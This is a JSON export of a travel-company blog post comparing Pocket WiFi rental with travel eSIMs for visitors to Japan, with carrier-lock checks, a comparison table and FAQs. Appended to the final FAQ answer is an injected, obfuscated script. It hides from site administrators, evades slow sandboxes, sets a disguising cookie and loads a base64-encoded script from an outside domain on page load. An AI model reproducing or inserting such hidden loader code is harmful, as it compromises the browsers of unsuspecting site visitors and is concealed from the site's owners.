{"id":137,"date":"2025-06-11T12:06:03","date_gmt":"2025-06-11T12:06:03","guid":{"rendered":"https:\/\/www.simmates.com\/blog\/?p=137"},"modified":"2025-11-11T09:13:08","modified_gmt":"2025-11-11T09:13:08","slug":"pocket-wifi-vs-travel-esim-which-one-is-best-for-you-in-japan","status":"publish","type":"post","link":"https:\/\/www.simmates.com\/blog\/pocket-wifi-vs-travel-esim-which-one-is-best-for-you-in-japan\/","title":{"rendered":"Pocket WiFi vs eSIM &#8211; which one is best for you in Japan?"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Imagine landing in Tokyo after a long flight. The exhilaration of sushi, neon streets, and cherry blossoms is real, but now you\u2019re stuck at the airport looking to figure out how to get online. Should you lease a Pocket WiFi device? Or is the smarter option to go with a Japan <\/span><a href=\"https:\/\/www.simmates.com\/\"><span style=\"font-weight: 400;\">Travel eSIM<\/span><\/a><span style=\"font-weight: 400;\">?<\/span><\/p>\n<p><span style=\"font-weight: 400;\">If you&#8217;re asking yourself the identical question, you&#8217;re not alone. Let\u2019s break this down clearly so that you can make the proper selection for your trip.<\/span><\/p>\n<h2><b>What is Pocket WiFi?<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Pocket WiFi is a small, battery-powered device that creates a private internet connection using local Japanese networks. You can connect your phone, tablet, or computer to it, similar to how you would with your home WiFi.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">You can rent one online in advance or at Japanese airports. It\u2019s popular for group travel because it lets several devices connect at the same time.<\/span><\/p>\n<h3><b>Pros:<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Works well for families or multiple devices<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Often comes with unlimited data<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Reliable if you stay in one country<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<h3><b>Cons:<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">You have to carry and charge it<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">There\u2019s a security deposit<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">If you lose it, you lose the deposit<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">You must return it properly after your trip<\/span><\/li>\n<\/ul>\n<h2><b>What is a Travel eSIM?<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">A Travelling eSIM is a digital SIM you install on your phone. There\u2019s no physical card. Once installed, it connects you to Japanese mobile networks right away.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">You can buy one online, scan a QR code, and get connected before you even land in Japan. No device pick-up, no shipping, no return required.<\/span><\/p>\n<h3><b>Pros:<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">No hardware needed<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">No risk of losing equipment<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Instant activation<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Safe and direct connection to networks<\/span><\/li>\n<\/ul>\n<h3><b>Cons:<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Only works on one device (but you can share the hotspot with your family and friends, when you buy unlimited data eSIM)<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Your phone must support eSIM and be unlocked<\/span><\/li>\n<\/ul>\n<h2><b>Is Your Phone Travel eSIM Ready?<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Even if your phone supports eSIM, there&#8217;s one key thing you need to check: Is it carrier-locked?<\/span><\/p>\n<p><span style=\"font-weight: 400;\">A carrier-locked phone is tied to a specific mobile company. This usually happens when you\u2019re still paying for the device in instalments. If your phone is locked, you can\u2019t use any Japan Travel eSIM, and you\u2019ll have to choose Pocket WiFi instead.<\/span><\/p>\n<h3><b>How to Check on iPhone:<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Go to Settings &gt; General &gt; About<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Scroll to Carrier Lock or SIM Restrictions<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">If it says \u201cNo SIM restrictions\u201d, you\u2019re good to go<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">If it says anything else, your phone is locked<\/span><\/li>\n<\/ul>\n<h3><b>How to Check on Samsung:<\/b><\/h3>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Dial *#7465625# on your phone<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Look for Network Lock<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"2\"><span style=\"font-weight: 400;\">If it\u2019s OFF, your phone is unlocked<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"2\"><span style=\"font-weight: 400;\">If it\u2019s ON, your phone is locked<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h3><b>If Your Phone is Locked, You Have 2 Options:<\/b><\/h3>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Use international roaming with your original provider (expensive)<\/span><span style=\"font-weight: 400;\">\n<p><\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Go for Pocket WiFi (more steps, but it works)<\/span><\/li>\n<\/ol>\n<h2><b>The Hassle with Pocket WiFi<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Let\u2019s be honest: renting Pocket WiFi isn\u2019t always smooth.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">First, you\u2019ll need to pay a security deposit. Then, the device is sent to you, or you pick it up at the airport. You must take care of it during your trip. If it&#8217;s lost, you won\u2019t get your deposit back. After your trip, you need to return it on time to get that refund. It works, but it takes effort.<\/span><\/p>\n<h3><b>Why Travel eSIM is the Better Option (If Your Phone is Unlocked)<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">If your phone shows \u201cNo SIM restrictions\u201d, the better move is to install a Travelling eSIM Japan.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">You can buy one in minutes, scan a QR code, and be online within seconds, no devices, no returns, no deposits. It\u2019s simple and hassle-free.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Plus, we love how you can keep your physical SIM active and still use your <\/span><a href=\"https:\/\/www.simmates.com\/travel-to\/japan-esim\"><span style=\"font-weight: 400;\">Travel eSIM Japan<\/span><\/a><span style=\"font-weight: 400;\"> for data. That\u2019s great if you want to receive SMS from your home country.<\/span><\/p>\n<h3><b>Pocket WiFi vs Travel eSIM Japan \u2013 A Quick Comparison<\/b><\/h3>\n<table>\n<tbody>\n<tr>\n<td><b>Feature<\/b><\/td>\n<td><b>Pocket WiFi<\/b><\/td>\n<td><b>Travel eSIM<\/b><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Setup<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Rent + return<\/span><\/td>\n<td><span style=\"font-weight: 400;\">QR code installation<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Portability<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Device to carry<\/span><\/td>\n<td><span style=\"font-weight: 400;\">No extra items<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Charging<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Needs charging<\/span><\/td>\n<td><span style=\"font-weight: 400;\">No charging required<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Sharing<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Multiple devices<\/span><\/td>\n<td><span style=\"font-weight: 400;\">One device<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Deposit<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Yes<\/span><\/td>\n<td><span style=\"font-weight: 400;\">No deposit<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Speed<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Reliable<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Depends on carrier<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-weight: 400;\">Safety<\/span><\/td>\n<td><span style=\"font-weight: 400;\">Risk if lost<\/span><\/td>\n<td><span style=\"font-weight: 400;\">No hardware risk<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<h2><b>Travelling to Thailand or Europe Next?<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Here\u2019s where Travelling eSIM becomes even more useful.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">If you&#8217;re flying from Japan to Bangkok or Paris, you don\u2019t need to swap SIMs or rent new devices. Just get a plan that works across regions. For example, a <\/span><a href=\"https:\/\/www.simmates.com\/travel-to\/thailand-esim\"><span style=\"font-weight: 400;\">Travel eSIM Thailand<\/span><\/a><span style=\"font-weight: 400;\"> works the same way. And if Europe is next, install your Travelling eSIM Europe before takeoff and connect as soon as you land.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">You stay online with one provider, no border stress.<\/span><\/p>\n<h3><b>Plan Smart With Travel eSim<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">We\u2019ve used both options on our travels. If you\u2019re a solo traveller or someone who prefers light packing, and your phone is unlocked, then the best choice is a Japan Travel eSIM. It saves time, space, and effort.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">But if your device is network-locked, your only solid choice is Pocket WiFi. It works, but you\u2019ll deal with deposits, shipping, and returns.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Always check your phone\u2019s SIM lock status before you decide. It\u2019ll save you trouble later.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">If you need our services, <\/span><a href=\"https:\/\/www.simmates.com\/\"><span style=\"font-weight: 400;\">contact us<\/span><\/a><span style=\"font-weight: 400;\"> or visit our website now!<\/span><\/p>\n<h4><b>FAQs<\/b><\/h4>\n<ol>\n<li><b> Can I pick up a Pocket WiFi at Japanese airports?<\/b><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">Yes. Major airports like Narita and Haneda offer pick-up counters.<\/span><\/p>\n<ol start=\"2\">\n<li><b> How do I know if my phone is eSIM compatible?<\/b><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">iPhones from XS onward and most recent Samsung\/Google phones support eSIM.<\/span><\/p>\n<ol start=\"3\">\n<li><b> Can I use a Travelling eSIM on a locked phone?<\/b><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">No. If your phone is locked to a network, eSIM won\u2019t work.<\/span><\/p>\n<ol start=\"4\">\n<li><b> What if I lose my Pocket WiFi in Japan?<\/b><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">You\u2019ll lose your security deposit and may have to pay additional fees.<\/span><\/p>\n<ol start=\"5\">\n<li><b> Can I use the same Travelling eSIM in Japan, Thailand, and Europe?<\/b><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">Yes. Some providers offer multi-country or global plans like <\/span><a href=\"https:\/\/www.simmates.com\/travel-to\/europe-esim\"><span style=\"font-weight: 400;\">Travel eSIM Europe <\/span><\/a><span style=\"font-weight: 400;\">and Thailand.<\/span><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Imagine landing in Tokyo after a long flight. The exhilaration of sushi, neon streets, and cherry blossoms is real, but [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":138,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"set","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[5],"tags":[],"class_list":["post-137","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-travel-esim"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\r\n<title>Pocket WiFi vs Travel eSIM - which one is best for you in Japan?<\/title>\r\n<meta name=\"description\" content=\"Let&#039;s compare Pocket WiFi and Travel eSIM for your Japan trip. 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